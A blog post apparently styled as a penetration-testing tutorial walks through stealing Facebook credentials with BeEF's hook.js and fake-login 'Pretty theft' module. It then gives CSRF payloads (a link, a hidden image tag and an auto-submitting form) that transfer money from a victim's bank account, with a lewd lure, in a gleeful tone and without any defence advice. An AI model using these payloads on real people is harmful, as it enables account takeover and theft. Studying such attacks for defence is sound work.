i Penetration Test – Exploit with Cross Site Scripting – All things in moderation

Penetration Test – Exploit with Cross Site Scripting

Like I said in the previous post, I’m going to focus on Cross Site Scripting. Personally, I think XSS and CSRF is similar for many people. But today, I will give you guys a deep look about them.

1 . Cross-Site Scripting ( XSS )

What will you do when you find XSS ? For me, I can think about steal the contents of the copy memory, redirect them to links, turn on their camera to view their face and many other malicious things. To have a general view of what we could do with XSS, you guys could try to use BeEF Exploitation Framework. I will take it as an example for this attack.

We can find it here:
– Image BeEF
pentest web xss

We can see use terminal here:
pentest web xss

Then we copy the url to our Firefox browser, we are going to see something like this.
– Image BeEF login
pentest web xss

Fill in with “beef” for username and password, we will go to the main page.
– Image BeEF main page
pentest web xss

You also look at the hook JavaScript file here.
– Image hook.js file
pentest web xss

To create successful exploit, you need to add the script in victim browser. Just remember the URL is point to a public address that hosting the file hook.js.

pentest web xss

Once injected, victim browser will connect back to our server then we could do whatever we want in this scenario. 😀

We could see the victim in our UI Panel.
– Image Beef UI Panel Victim

pentest web xss

After that, you could try my favourite attack. It called “Pretty theft”.
– Image Beef Pretty Theft

pentest web xss

This tool is easy to use, you just need press Execute button and then Beef do the whole thing for you.

When you press Execute, Victim’s browser shows something like this.
– Image FB Session Timed out

pentest web xss

And then when the victim fills their FB passwords, and username here, we can see it on BeEF UI Panel.
– Image Beef Theft capture Username + Passwords

pentest web xss

It is so easy for you to take someone’s Facebook account, right? 😀

I hope I was able to show how dangerous an XSS vulnerability can be. It is more worse if the XSS f was a stored XSS than the reflective example we just saw. If it were stored, we can execute our malicious code to many victims.

2 . Cross-Site Request Forgery ( CSRF )

CSRF happens when the attacker forces a victim do an action that they never aware of it.
Take that scenario as your example, we send a malicious link to someone who is currently signed in his bank account and force him to send us some money but he never know why. 😀
– Get scenario:

If the bank application was designed to primarily use GET requests to transfer money, and then you want to tranfer $100 to your DADDY, we can see the request like this in your URL:

GET http://bank.com/transfer.do?acct=DADDY&amount=100 HTTP/1.1

If your friend ( Stephen ) is an attacker, he could simply send you a link like this when you currently login your bank account.

  • http://bank.com/transfer.do?acct=Stephen&amount=100000

Or they can use some tricks like

  • The url can be disguised as an usual link, and encouraging you click it
 <a href="http://bank.com/transfer.do?acct=Stephen&amount=100000">View a hot girl nude!</a>
  • Or as a 0x0 fake image:
<img src="http://bank.com/transfer.do?acct=Stephen&amount=100000" width="0" height="0" border="0">

If this image tag were included in the email, you wouldn’t see anything. However, the browser will still submit the request to bank.com without any visual indication that the transfer has taken place.

You could get a real life CSRF attack through uTorrent exploit from 2008.
– Post scenario

If your bank use POST to transfer money, we could assume that looks like:

POST http://bank.com/transfer.do HTTP/1.1


In this situation, we can’t use A or IMG tags anymore, but we could use a FORM tag:

<form action="http://bank.com/transfer.do" method="POST">
<input type="hidden" name="acct" value="Stephen"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>

And we also don’t need you to click on the submit button because we have JavaScript do it for us:

<body onload="document.forms[0].submit()">
  • Other HTTP methods:

Some modern web application APIs could use other HTTP methods, such as PUT or DELETE. Let’s assume your bank uses PUT that takes a JSON block as an argument:

PUT http://bank.com/transfer.do HTTP/1.1

{ "acct":"DADDY", "amount":100 }

Fortunately, this request will not be executed by modern web browsers because of same-origin policy restrictions. But if the target web site explicitly opens up cross-origin requests from the attacker’s (or everyone’s) origin by using CORS with the following header, we still do our job.

Access-Control-Allow-Origin: *

And then you have just send me $100000, my friend. :). Additionally, I usually use Repeater feature in Burp Suite to test this vulnerabilities.

Now I think you guys understand the most vulnerbility of web scanning. In the next post, I will show you what we could do with a compromised system.

Leave a Reply